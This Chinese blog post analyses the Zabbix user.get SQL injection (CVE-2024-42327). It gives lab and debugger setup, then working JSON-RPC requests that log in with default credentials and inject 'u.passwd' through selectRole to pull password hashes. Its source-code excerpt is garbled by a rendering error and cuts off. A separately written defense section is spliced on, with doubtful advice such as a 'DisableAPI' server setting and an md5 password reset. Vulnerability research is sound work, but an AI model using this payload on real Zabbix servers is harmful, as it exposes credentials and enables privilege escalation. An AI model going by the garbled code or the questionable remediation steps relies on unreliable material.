Zabbix SQL注入漏洞分析

漏洞简介
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。

影响版本在这里插入图片描述
6.0.0 <= Zabbix <= 6.0.31

6.4.0 <= Zabbix <= 6.4.16

Zabbix 7.0.0

环境搭建
参考https://forum.butian.net/share/3056

访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/在这里插入图片描述
选择 *vmx.tar.gz 这个,解压双击.vmx 文件即可导入 Vmware Workstation

然后开机即可,访问机器ip的80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix

php调试环境搭建
参考https://juejin.cn/post/7201509055713493049

我这里源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载的在这里插入图片描述
虚拟机中没有php命令,但是有php-fpm命令可以用

php-fpm -i获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0

cd /tmp
curl https://xdebug.org/files/xdebug-3.4.0.tgz -o xdebug-3.4.0.tgz
tar -xvzf xdebug-3.4.0.tgz
cd xdebug-3.4.0

编译所需环境

yum install -y install gcc automake autoconf libtool make php-devel
phpize
./configue
make
cd module
cp xdebug.so /usr/lib64/php/modules/
然后vi /etc/php.d/99-xdebug.ini 添加行zend_extension = xdebug

然后systemctl restart php-fpm重启 php-fpm,最后php-fpm -v查看是否成功生效

在这里插入图片描述
配置php.ini文件,在末尾添加以下内容

xdebug.mode = debug,develop,trace
xdebug.start_with_request = yes
xdebug.client_host = 192.168.182.1
xdebug.client_port = 9003
具体作用可以参考https://xdebug.org/docs/develop

这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口)

然后在vscode添加调试配置,将生成的php xdebug的默认配置改为

{
“name”: “远程调试”,
“type”: “php”,
“request”: “launch”,
“port”: 9003,
“pathMappings”: {
“/usr/share/zabbix”: “${workspaceFolder}/ui”
},
“hostname”: “192.168.182.1”
}
在这里插入图片描述
漏洞复现
Zabbix 的addRelatedObjects函数中的CUser类中存在SQL注入,此函数由 CUser.get 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。

首先通过账号密码登录后台

POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Type: application/json-rpc
Content-Length: 106

{“jsonrpc”: “2.0”, “method”: “user.login”, “params”: {“username”: “Admin”, “password”: “zabbix”}, “id”: 1}
在这里插入图片描述
然后SQL注入获取敏感信息

POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Type: application/json-rpc
Content-Length: 167

{“jsonrpc”: “2.0”, “method”: “user.get”, “params”: {“selectRole”: [“roleid, u.passwd”, “roleid”], “userids”: “1”}, “auth”: “2ae264ef7c19d2c2016a302c64e974c6”, “id”: 1}
在这里插入图片描述
漏洞分析
定位漏洞点ui/include/classes/api/services/CUser.php#get这个方法

public function get($options = []) {
$result = [];

$sqlParts = [
‘select’ => [‘users’ => ‘u.userid’],
‘from’ => [‘users’ => ‘users u’],
‘where’ => [],
‘order’ => [],
‘limit’ => null
];

$defOptions = [
‘usrgrpids’ => null,
‘userids’ => null,
‘mediaids’ => null,
‘mediatypeids’ => null,
// filter
‘filter’ => null,
‘search’ => null,
‘searchByAny’ => null,
‘startSearch’ => false,
‘excludeSearch’ => false,
‘searchWildcardsEnabled’ => null,
// output
‘output’ => API_OUTPUT_EXTEND,
‘editable’ => false,
‘selectUsrgrps’ => null,
‘selectMedias’ => null,
‘selectMediatypes’ => null,
‘selectRole’ => null,
‘getAccess’ => null,
‘countOutput’ => false,
‘preservekeys’ => false,
‘sortfield’ => ‘’,
‘sortorder’ => ‘’,
‘limit’ => null
];
options=zbxarraymerge(options = zbx_array_merge(options=zbxarraymerge(defOptions, $options);

// permission check
if (self::KaTeX parse error: Expected '}', got 'EOF' at end of input: …IN) { if (!options[‘editable’]) {
$sqlParts[‘from’][‘users_groups’] = ‘users_groups ug’;
$sqlParts[‘where’][‘uug’] = ‘u.userid=ug.userid’;
sqlParts[′where′][]=′ug.usrgrpidIN(′.′SELECTuug.usrgrpid′.′FROMusersgroupsuug′.′WHEREuug.userid=′.self::sqlParts['where'][] = 'ug.usrgrpid IN ('. ' SELECT uug.usrgrpid'. ' FROM users_groups uug'. ' WHERE uug.userid='.self::sqlParts[where][]

### Zabbix SQL注入漏洞 CVE-2024-42327 的防御方法及修复建议 CVE-2024-42327 是 Zabbix 中一个严重的 SQL 注入漏洞,存在于 `user.get` API 端点。攻击者可以利用该漏洞通过构造恶意输入执行任意 SQL 查询,进而窃取敏感数据、提升权限,甚至控制整个 Zabbix 系统。为有效防御该漏洞并降低攻击面,应从多个层面采取加固措施。 #### 3.1 及时升级至修复版本 Zabbix 官方已发布修复版本以解决该漏洞。建议用户尽快升级到以下安全版本: - Zabbix 6.0.x 用户应升级至 6.0.32 或更高版本; - Zabbix 6.4.x 用户应升级至 6.4.17 或更高版本; - Zabbix 7.0 用户应升级至 7.0.1 或更高版本。 升级操作可通过官方提供的安装包或源码编译完成,确保所有组件(包括前端、服务器和代理)均更新至安全版本。 #### 3.2 严格限制 API 接口访问权限 默认情况下,Zabbix 的 API 接口允许具有特定角色的用户调用。为降低攻击风险,应遵循最小权限原则,限制非必要用户对 API 的访问。可通过以下方式实现: - 在 Zabbix Web 界面中配置用户角色权限,仅允许授权人员调用敏感 API; - 配置防火墙或反向代理(如 Nginx),限制 API 接口的访问源 IP; - 禁用不必要的 API 方法,例如通过配置 `zabbix_server.conf` 中的 `DisableAPI` 参数来禁用非必需的 API 接口。 #### 3.3 强化数据库安全配置 SQL 注入攻击通常依赖于对数据库结构的了解和对查询语句的操控。为增强数据库安全性,建议采取以下措施: - 使用非特权账户运行 Zabbix 数据库服务,避免使用具有 DBA 权限的账户; - 对数据库进行定期备份,确保在发生攻击后可快速恢复; - 启用数据库审计功能,记录所有 SQL 查询行为,以便检测异常操作; - 在数据库层面对敏感字段(如用户密码)进行加密存储,避免明文泄露。 #### 3.4 启用 Web 应用防火墙(WAF) 部署 Web 应用防火墙(WAF)是防御 SQL 注入攻击的有效手段之一。可通过以下方式增强防护: - 配置 WAF 规则,识别并阻断常见的 SQL 注入攻击模式(如 `UNION SELECT`、`DROP TABLE` 等); - 对 Zabbix 前端访问流量进行实时监控,发现异常请求时触发告警或阻断; - 使用开源 WAF 工具(如 ModSecurity)结合 Zabbix 的访问日志进行规则定制。 #### 3.5 定期进行安全审计与渗透测试 为持续提升系统安全性,建议定期开展以下工作: - 使用自动化工具(如 sqlmap)对 Zabbix 接口进行渗透测试,验证是否存在 SQL 注入风险; - 检查 Zabbix 的访问日志与数据库日志,识别可疑 SQL 查询行为; - 结合企业资产清单,梳理 Zabbix 系统的暴露面,确保其未在互联网上公开可访问; - 对 Zabbix 的用户权限、API 调用记录和数据库操作进行日志审计,发现异常行为及时响应。 #### 3.6 配置强密码策略与双因子认证 虽然 CVE-2024-42327 与认证后的 API 调用相关,但强化身份认证机制仍可提升整体安全性: - 强制设置高强度密码,密码长度建议不少于 16 位,包含大小写字母、数字和特殊字符; - 修改默认的 Admin 账户密码,防止攻击者利用默认凭证绕过认证; - 启用双因子认证(2FA),增加攻击者获取系统访问权限的难度; - 定期清理无效账户,禁用或删除不再使用的用户。 示例:修改 Admin 用户密码 ```bash zabbix_pass=$(openssl rand -base64 16 | tr -d '=' | cut -c1-12) mysql -uroot -p -e "UPDATE zabbix.users SET passwd=md5('${zabbix_pass}') WHERE alias='Admin';" ``` #### 3.7 监控与告警机制 为及时发现潜在攻击行为,应建立完善的监控与告警体系: - 配置 Zabbix 自身的监控项,对数据库查询频率、API 调用次数等进行实时监控; - 设置异常行为告警规则,例如短时间内大量 SQL 查询、高权限用户登录等; - 将日志信息集中存储至 SIEM 系统,便于统一分析与响应。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值